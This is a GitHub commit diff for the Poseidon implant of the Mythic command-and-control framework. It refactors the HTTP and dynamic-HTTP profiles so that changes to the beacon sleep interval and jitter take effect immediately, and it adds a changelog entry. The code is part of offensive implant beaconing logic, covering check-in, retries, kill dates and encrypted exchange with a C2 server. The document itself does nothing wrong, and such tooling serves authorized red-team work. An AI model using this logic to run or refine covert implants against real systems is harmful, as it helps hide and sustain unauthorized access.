Skip to content

Commit 49c498a

Browse files
committed
Updated sleep action in agent and alive check in container
1 parent 19bf7a0 commit 49c498a

File tree

8 files changed

+216
-133
lines changed

8 files changed

+216
-133
lines changed

Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD

+8
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,14 @@ All notable changes to this project will be documented in this file.
44
The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
55
and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html).
66

7+
## 2.1.11 - 2024-11-15
8+
9+
### Changed
10+
11+
- Refactored the egress profiles to use a custom .Sleep() function that can be interrupted
12+
- this allows changing sleep times to take effect immediately instead of waiting another sleep interval
13+
- Updated the checkAlive function to be more accurate
14+
715
## 2.1.10 - 2024-11-13
816

917
### Changed

Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/dynamichttp.go

+35-20
Original file line numberDiff line numberDiff line change
@@ -72,11 +72,12 @@ type C2DynamicHTTP struct {
7272
ExchangingKeys bool
7373
ChunkSize int `json:"chunk_size"`
7474
// internally set pieces
75-
Config C2DynamicHTTPC2Config `json:"config"`
76-
Key string `json:"encryption_key"`
77-
RsaPrivateKey *rsa.PrivateKey
78-
ShouldStop bool
79-
stoppedChannel chan bool
75+
Config C2DynamicHTTPC2Config `json:"config"`
76+
Key string `json:"encryption_key"`
77+
RsaPrivateKey *rsa.PrivateKey
78+
ShouldStop bool
79+
stoppedChannel chan bool
80+
interruptSleepChannel chan bool
8081
}
8182

8283
// New creates a new DynamicHTTP C2 profile from the package's global variables and returns it
@@ -99,10 +100,11 @@ func init() {
99100
os.Exit(1)
100101
}
101102
profile := C2DynamicHTTP{
102-
Key: initialConfig.AESPSK,
103-
Killdate: killDateTime,
104-
ShouldStop: true,
105-
stoppedChannel: make(chan bool, 1),
103+
Key: initialConfig.AESPSK,
104+
Killdate: killDateTime,
105+
ShouldStop: true,
106+
stoppedChannel: make(chan bool, 1),
107+
interruptSleepChannel: make(chan bool, 1),
106108
}
107109

108110
// Convert sleep from string to integer
@@ -157,15 +159,15 @@ func (c *C2DynamicHTTP) Start() {
157159
taskResp := structs.MythicMessageResponse{}
158160
if err := json.Unmarshal(resp, &taskResp); err != nil {
159161
utils.PrintDebug(fmt.Sprintf("Error unmarshal response to task response: %s", err.Error()))
160-
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
162+
c.Sleep()
161163
continue
162164
}
163165
responses.HandleInboundMythicMessageFromEgressChannel <- taskResp
164166
}
165167
} else {
166168
utils.PrintDebug(fmt.Sprintf("Failed to marshal message: %v\n", err))
167169
}
168-
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
170+
c.Sleep()
169171
}
170172
} else {
171173
//fmt.Printf("Uh oh, failed to checkin\n")
@@ -208,6 +210,13 @@ func (c *C2DynamicHTTP) UpdateConfig(parameter string, value string) {
208210
}
209211
}
210212
}
213+
func (c *C2DynamicHTTP) Sleep() {
214+
// wait for either sleep time duration or sleep interrupt
215+
select {
216+
case <-c.interruptSleepChannel:
217+
case <-time.After(time.Second * time.Duration(c.GetSleepTime())):
218+
}
219+
}
211220
func (c *C2DynamicHTTP) GetSleepTime() int {
212221
if c.ShouldStop {
213222
return -1
@@ -236,6 +245,9 @@ func (c *C2DynamicHTTP) GetKillDate() time.Time {
236245
func (c *C2DynamicHTTP) SetSleepInterval(interval int) string {
237246
if interval >= 0 {
238247
c.Interval = interval
248+
go func() {
249+
c.interruptSleepChannel <- true
250+
}()
239251
return fmt.Sprintf("Sleep interval updated to %ds\n", interval)
240252
} else {
241253
return fmt.Sprintf("Sleep interval not updated, %d is not >= 0", interval)
@@ -245,6 +257,9 @@ func (c *C2DynamicHTTP) SetSleepInterval(interval int) string {
245257
func (c *C2DynamicHTTP) SetSleepJitter(jitter int) string {
246258
if jitter >= 0 && jitter <= 100 {
247259
c.Jitter = jitter
260+
go func() {
261+
c.interruptSleepChannel <- true
262+
}()
248263
return fmt.Sprintf("Jitter updated to %d%% \n", jitter)
249264
} else {
250265
return fmt.Sprintf("Jitter not updated, %d is not between 0 and 100", jitter)
@@ -281,7 +296,7 @@ func (c *C2DynamicHTTP) CheckIn() structs.CheckInMessageResponse {
281296
}
282297
checkin := CreateCheckinMessage()
283298
if raw, err := json.Marshal(checkin); err != nil {
284-
time.Sleep(time.Duration(c.GetSleepTime()))
299+
c.Sleep()
285300
continue
286301
} else {
287302
resp := c.SendMessage(raw)
@@ -290,14 +305,14 @@ func (c *C2DynamicHTTP) CheckIn() structs.CheckInMessageResponse {
290305
response := structs.CheckInMessageResponse{}
291306
if err = json.Unmarshal(resp, &response); err != nil {
292307
utils.PrintDebug(fmt.Sprintf("Error in unmarshal:\n %s", err.Error()))
293-
time.Sleep(time.Duration(c.GetSleepTime()))
308+
c.Sleep()
294309
continue
295310
}
296311
if len(response.ID) != 0 {
297312
SetMythicID(response.ID)
298313
return response
299314
} else {
300-
time.Sleep(time.Duration(c.GetSleepTime()))
315+
c.Sleep()
301316
continue
302317
}
303318
}
@@ -400,34 +415,34 @@ func (c *C2DynamicHTTP) SendMessage(sendData []byte) []byte {
400415
if err != nil {
401416
utils.PrintDebug(fmt.Sprintf("error client.Do: %v\n", err))
402417
IncrementFailedConnection(c.ProfileName())
403-
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
418+
c.Sleep()
404419
continue
405420
}
406421
if resp.StatusCode != 200 {
407422
resp.Body.Close()
408423
utils.PrintDebug(fmt.Sprintf("error resp.StatusCode: %v\n", resp.StatusCode))
409424
IncrementFailedConnection(c.ProfileName())
410-
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
425+
c.Sleep()
411426
continue
412427
}
413428
raw, err := c.GetDynamicMessageResponse(resp, configUsed)
414429
if err != nil {
415430
utils.PrintDebug(fmt.Sprintf("error getting message response: %v\n", err))
416431
IncrementFailedConnection(c.ProfileName())
417-
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
432+
c.Sleep()
418433
continue
419434
}
420435
raw, err = base64.StdEncoding.DecodeString(string(raw))
421436
if err != nil {
422437
utils.PrintDebug(fmt.Sprintf("error base64.StdEncoding: %v\n", err))
423438
IncrementFailedConnection(c.ProfileName())
424-
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
439+
c.Sleep()
425440
continue
426441
}
427442
if len(raw) < 36 {
428443
utils.PrintDebug(fmt.Sprintf("error len(raw) < 36: %v\n", err))
429444
IncrementFailedConnection(c.ProfileName())
430-
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
445+
c.Sleep()
431446
continue
432447
}
433448
if len(c.Key) != 0 {
@@ -437,7 +452,7 @@ func (c *C2DynamicHTTP) SendMessage(sendData []byte) []byte {
437452
// failed somehow in decryption
438453
utils.PrintDebug(fmt.Sprintf("error decrypt length wrong: %v\n", err))
439454
IncrementFailedConnection(c.ProfileName())
440-
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
455+
c.Sleep()
441456
continue
442457
} else {
443458
//fmt.Printf("decrypted response: %v\n%v\n", string(raw[:36]), string(enc_raw))

Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/http.go

+55-35
Original file line numberDiff line numberDiff line change
@@ -49,21 +49,22 @@ type HTTPInitialConfig struct {
4949
}
5050

5151
type C2HTTP struct {
52-
BaseURL string `json:"BaseURL"`
53-
PostURI string `json:"PostURI"`
54-
ProxyURL string `json:"ProxyURL"`
55-
ProxyUser string `json:"ProxyUser"`
56-
ProxyPass string `json:"ProxyPass"`
57-
ProxyBypass bool `json:"ProxyBypass"`
58-
Interval int `json:"Interval"`
59-
Jitter int `json:"Jitter"`
60-
HeaderList map[string]string `json:"Headers"`
61-
ExchangingKeys bool
62-
Key string `json:"EncryptionKey"`
63-
RsaPrivateKey *rsa.PrivateKey
64-
Killdate time.Time `json:"KillDate"`
65-
ShouldStop bool
66-
stoppedChannel chan bool
52+
BaseURL string `json:"BaseURL"`
53+
PostURI string `json:"PostURI"`
54+
ProxyURL string `json:"ProxyURL"`
55+
ProxyUser string `json:"ProxyUser"`
56+
ProxyPass string `json:"ProxyPass"`
57+
ProxyBypass bool `json:"ProxyBypass"`
58+
Interval int `json:"Interval"`
59+
Jitter int `json:"Jitter"`
60+
HeaderList map[string]string `json:"Headers"`
61+
ExchangingKeys bool
62+
Key string `json:"EncryptionKey"`
63+
RsaPrivateKey *rsa.PrivateKey
64+
Killdate time.Time `json:"KillDate"`
65+
ShouldStop bool
66+
stoppedChannel chan bool
67+
interruptSleepChannel chan bool
6768
}
6869

6970
// New creates a new HTTP C2 profile from the package's global variables and returns it
@@ -112,14 +113,15 @@ func init() {
112113
os.Exit(1)
113114
}
114115
profile := C2HTTP{
115-
BaseURL: final_url,
116-
PostURI: initialConfig.PostURI,
117-
ProxyUser: initialConfig.ProxyUser,
118-
ProxyPass: initialConfig.ProxyPass,
119-
Key: initialConfig.AESPSK,
120-
Killdate: killDateTime,
121-
ShouldStop: true,
122-
stoppedChannel: make(chan bool, 1),
116+
BaseURL: final_url,
117+
PostURI: initialConfig.PostURI,
118+
ProxyUser: initialConfig.ProxyUser,
119+
ProxyPass: initialConfig.ProxyPass,
120+
Key: initialConfig.AESPSK,
121+
Killdate: killDateTime,
122+
ShouldStop: true,
123+
stoppedChannel: make(chan bool, 1),
124+
interruptSleepChannel: make(chan bool, 1),
123125
}
124126

125127
// Convert sleep from string to integer
@@ -153,7 +155,13 @@ func init() {
153155

154156
RegisterAvailableC2Profile(&profile)
155157
}
156-
158+
func (c *C2HTTP) Sleep() {
159+
// wait for either sleep time duration or sleep interrupt
160+
select {
161+
case <-c.interruptSleepChannel:
162+
case <-time.After(time.Second * time.Duration(c.GetSleepTime())):
163+
}
164+
}
157165
func (c *C2HTTP) Start() {
158166
// Checkin with Mythic via an egress channel
159167
// only try to start if we're in a stopped state
@@ -188,15 +196,15 @@ func (c *C2HTTP) Start() {
188196
taskResp := structs.MythicMessageResponse{}
189197
if err := json.Unmarshal(resp, &taskResp); err != nil {
190198
utils.PrintDebug(fmt.Sprintf("Error unmarshal response to task response: %s", err.Error()))
191-
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
199+
c.Sleep()
192200
continue
193201
}
194202
responses.HandleInboundMythicMessageFromEgressChannel <- taskResp
195203
}
196204
} else {
197205
utils.PrintDebug(fmt.Sprintf("Failed to marshal message: %v\n", err))
198206
}
199-
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
207+
c.Sleep()
200208
}
201209
} else {
202210
//fmt.Printf("Uh oh, failed to checkin\n")
@@ -232,11 +240,17 @@ func (c *C2HTTP) UpdateConfig(parameter string, value string) {
232240
if err == nil {
233241
c.Interval = newInt
234242
}
243+
go func() {
244+
c.interruptSleepChannel <- true
245+
}()
235246
case "Jitter":
236247
newInt, err := strconv.Atoi(value)
237248
if err == nil {
238249
c.Jitter = newInt
239250
}
251+
go func() {
252+
c.interruptSleepChannel <- true
253+
}()
240254
case "Killdate":
241255
killDateString := fmt.Sprintf("%sT00:00:00.000Z", value)
242256
killDateTime, err := time.Parse("2006-01-02T15:04:05.000Z", killDateString)
@@ -278,6 +292,9 @@ func (c *C2HTTP) GetSleepTime() int {
278292
func (c *C2HTTP) SetSleepInterval(interval int) string {
279293
if interval >= 0 {
280294
c.Interval = interval
295+
go func() {
296+
c.interruptSleepChannel <- true
297+
}()
281298
return fmt.Sprintf("Sleep interval updated to %ds\n", interval)
282299
} else {
283300
return fmt.Sprintf("Sleep interval not updated, %d is not >= 0", interval)
@@ -288,6 +305,9 @@ func (c *C2HTTP) SetSleepInterval(interval int) string {
288305
func (c *C2HTTP) SetSleepJitter(jitter int) string {
289306
if jitter >= 0 && jitter <= 100 {
290307
c.Jitter = jitter
308+
go func() {
309+
c.interruptSleepChannel <- true
310+
}()
291311
return fmt.Sprintf("Jitter updated to %d%% \n", jitter)
292312
} else {
293313
return fmt.Sprintf("Jitter not updated, %d is not between 0 and 100", jitter)
@@ -326,7 +346,7 @@ func (c *C2HTTP) CheckIn() structs.CheckInMessageResponse {
326346
}
327347
checkin := CreateCheckinMessage()
328348
if raw, err := json.Marshal(checkin); err != nil {
329-
time.Sleep(time.Duration(c.GetSleepTime()))
349+
c.Sleep()
330350
continue
331351
} else {
332352
resp := c.SendMessage(raw)
@@ -335,15 +355,15 @@ func (c *C2HTTP) CheckIn() structs.CheckInMessageResponse {
335355
response := structs.CheckInMessageResponse{}
336356
if err = json.Unmarshal(resp, &response); err != nil {
337357
utils.PrintDebug(fmt.Sprintf("Error in unmarshal:\n %s", err.Error()))
338-
time.Sleep(time.Duration(c.GetSleepTime()))
358+
c.Sleep()
339359
continue
340360
}
341361
if len(response.ID) != 0 {
342362
SetMythicID(response.ID)
343363
SetAllEncryptionKeys(c.Key)
344364
return response
345365
} else {
346-
time.Sleep(time.Duration(c.GetSleepTime()))
366+
c.Sleep()
347367
continue
348368
}
349369
}
@@ -482,7 +502,7 @@ func (c *C2HTTP) SendMessage(sendData []byte) []byte {
482502
if err != nil {
483503
utils.PrintDebug(fmt.Sprintf("error client.Do: %v\n", err))
484504
IncrementFailedConnection(c.ProfileName())
485-
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
505+
c.Sleep()
486506
continue
487507
}
488508
if resp.StatusCode != 200 {
@@ -492,7 +512,7 @@ func (c *C2HTTP) SendMessage(sendData []byte) []byte {
492512
utils.PrintDebug(fmt.Sprintf("error failed to close response body: %v\n", err))
493513
}
494514
IncrementFailedConnection(c.ProfileName())
495-
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
515+
c.Sleep()
496516
continue
497517
}
498518
body, err := io.ReadAll(resp.Body)
@@ -503,7 +523,7 @@ func (c *C2HTTP) SendMessage(sendData []byte) []byte {
503523
utils.PrintDebug(fmt.Sprintf("error failed to close response body: %v\n", err))
504524
}
505525
IncrementFailedConnection(c.ProfileName())
506-
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
526+
c.Sleep()
507527
continue
508528
}
509529
err = resp.Body.Close()
@@ -515,13 +535,13 @@ func (c *C2HTTP) SendMessage(sendData []byte) []byte {
515535
if err != nil {
516536
utils.PrintDebug(fmt.Sprintf("error base64.StdEncoding: %v\n", err))
517537
IncrementFailedConnection(c.ProfileName())
518-
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
538+
c.Sleep()
519539
continue
520540
}
521541
if len(raw) < 36 {
522542
utils.PrintDebug(fmt.Sprintf("error len(raw) < 36: %v\n", err))
523543
IncrementFailedConnection(c.ProfileName())
524-
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
544+
c.Sleep()
525545
continue
526546
}
527547
if len(c.Key) != 0 {
@@ -531,7 +551,7 @@ func (c *C2HTTP) SendMessage(sendData []byte) []byte {
531551
// failed somehow in decryption
532552
utils.PrintDebug(fmt.Sprintf("error decrypt length wrong: %v\n", err))
533553
IncrementFailedConnection(c.ProfileName())
534-
time.Sleep(time.Duration(c.GetSleepTime()) * time.Second)
554+
c.Sleep()
535555
continue
536556
} else {
537557
if i > 0 {

0 commit comments

Comments
 (0)